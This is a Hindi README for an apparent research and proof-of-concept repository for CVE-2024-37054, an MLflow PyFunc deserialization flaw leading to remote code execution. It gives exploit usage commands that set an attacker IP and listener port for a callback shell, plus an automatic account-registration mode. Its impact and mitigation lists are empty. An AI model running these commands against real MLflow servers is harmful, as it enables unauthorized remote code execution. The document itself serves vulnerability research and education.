
CVE-2024-37054 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और शोध रिपॉजिटरी, जो MLflow PyFunc मॉडल लोडिंग में एक असुरक्षित डीसेरियलाइज़ेशन दोष है जो रिमोट कोड एक्ज़ीक्यूशन का कारण बन सकता है।
यह रिपॉज़िटरी CVE-2024-37054 पर शोध का दस्तावेज़ीकरण करती है, जो MLflow PyFunc मॉडल हैंडलिंग को प्रभावित करने वाला एक असुरक्षित डीसेरिएलाइज़ेशन मुद्दा है।
प्रभावित MLflow संस्करणों में, किसी अविश्वसनीय PyFunc मॉडल को लोड करने से Python डीसेरिएलाइज़ेशन लॉजिक एक सीरियलाइज़्ड ऑब्जेक्ट को प्रोसेस कर सकता है जिसमें हमलावर-नियंत्रित व्यवहार होता है। यदि कोई अविश्वसनीय आर्टिफैक्ट लोड किया जाता है, तो मॉडल-लोडिंग ऑपरेशन करने वाले उपयोगकर्ता या सेवा की अनुमतियों के अंतर्गत कोड निष्पादित हो सकता है।
सार्वजनिक सलाह में रिपोर्ट किए गए प्रभावित संस्करणों में शामिल हैं:
MLflow 0.9.0 through 2.14.1
प्राथमिक जोखिम केवल "मॉडल अपलोड करना" नहीं है। खतरा तब होता है जब कोई एप्लिकेशन, विश्लेषक, वर्कर, या ML प्लेटफ़ॉर्म किसी अविश्वसनीय सीरियलाइज़्ड मॉडल आर्टिफैक्ट को लोड करता है।
संभावित प्रभाव में शामिल हैं:
build_model.py
एक निजी, अधिकृत लैब वातावरण में उपयोग के लिए एक नियंत्रित परीक्षण मॉडल आर्टिफैक्ट बनाता है।
exploit.py
निजी प्रूफ-ऑफ-कॉन्सेप्ट ऑटोमेशन जिसका उपयोग केवल एक अधिकृत प्रशिक्षण वातावरण में भेद्यता पथ को मान्य करने के लिए किया जाता है। इस रिपॉज़िटरी में लाइव लक्ष्य, क्रेडेंशियल, सेशन टोकन, VPN कॉन्फ़िगरेशन फ़ाइलें, या विनाशकारी पेलोड शामिल नहीं हैं।
इस प्रूफ ऑफ कॉन्सेप्ट को केवल एक अधिकृत लैब वातावरण में चलाएँ।
नियंत्रित मॉडल आर्टिफैक्ट बनाएँ:
python3 build_model.py --lhost <YOUR_IP> --lport 4444
यदि आपके पास पहले से कोई प्रमाणित सेशन नहीं है, तो स्वचालित पंजीकरण मोड का उपयोग करें:
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz
यह मोड एक अस्थायी लैब खाता बनाता है, एप्लिकेशन में प्रमाणित करता है, और मॉडल-पंजीकरण और सत्यापन वर्कफ़्लो के साथ जारी रखता है।
यदि आपके पास पहले से ही एक वैध अधिकृत सेशन है, तो इसे सीधे पास करें:
python3 exploit.py \
--lhost <YOUR_IP> \
--lport 4444 \
--session "<SESSION_TOKEN>"
प्रतिस्थापित करें:
<YOUR_IP> को अधिकृत लैब लक्ष्य से पहुँचने योग्य IP पते के साथ।4444 को आपकी लैब में उपयोग किए गए लिसनर पोर्ट के साथ।<SESSION_TOKEN> को अपने सक्रिय अधिकृत सेशन मान के साथ।वास्तविक सेशन टोकन, क्रेडेंशियल, VPN फ़ाइलें, लक्ष्य पते, या कॉलबैक विवरण कभी प्रकाशित न करें।
MLflow का उपयोग करने वाले संगठनों को मॉडल आर्टिफैक्ट को अविश्वसनीय इनपुट के रूप में मानना चाहिए जब तक कि उनके मूल और अखंडता को सत्यापित न किया गया हो।
अनुशंसित सुरक्षा उपाय:
यह परियोजना केवल रक्षात्मक शोध, शिक्षा, और अधिकृत सुरक्षा परीक्षण के लिए है। प्रूफ-ऑफ-कॉन्सेप्ट वर्कफ़्लो का मूल्यांकन केवल एक नियंत्रित प्रशिक्षण वातावरण में किया गया था। स्पष्ट लिखित प्राधिकरण के बिना सिस्टम, खातों, सेवाओं, या नेटवर्क के विरुद्ध इस भेद्यता का परीक्षण न करें।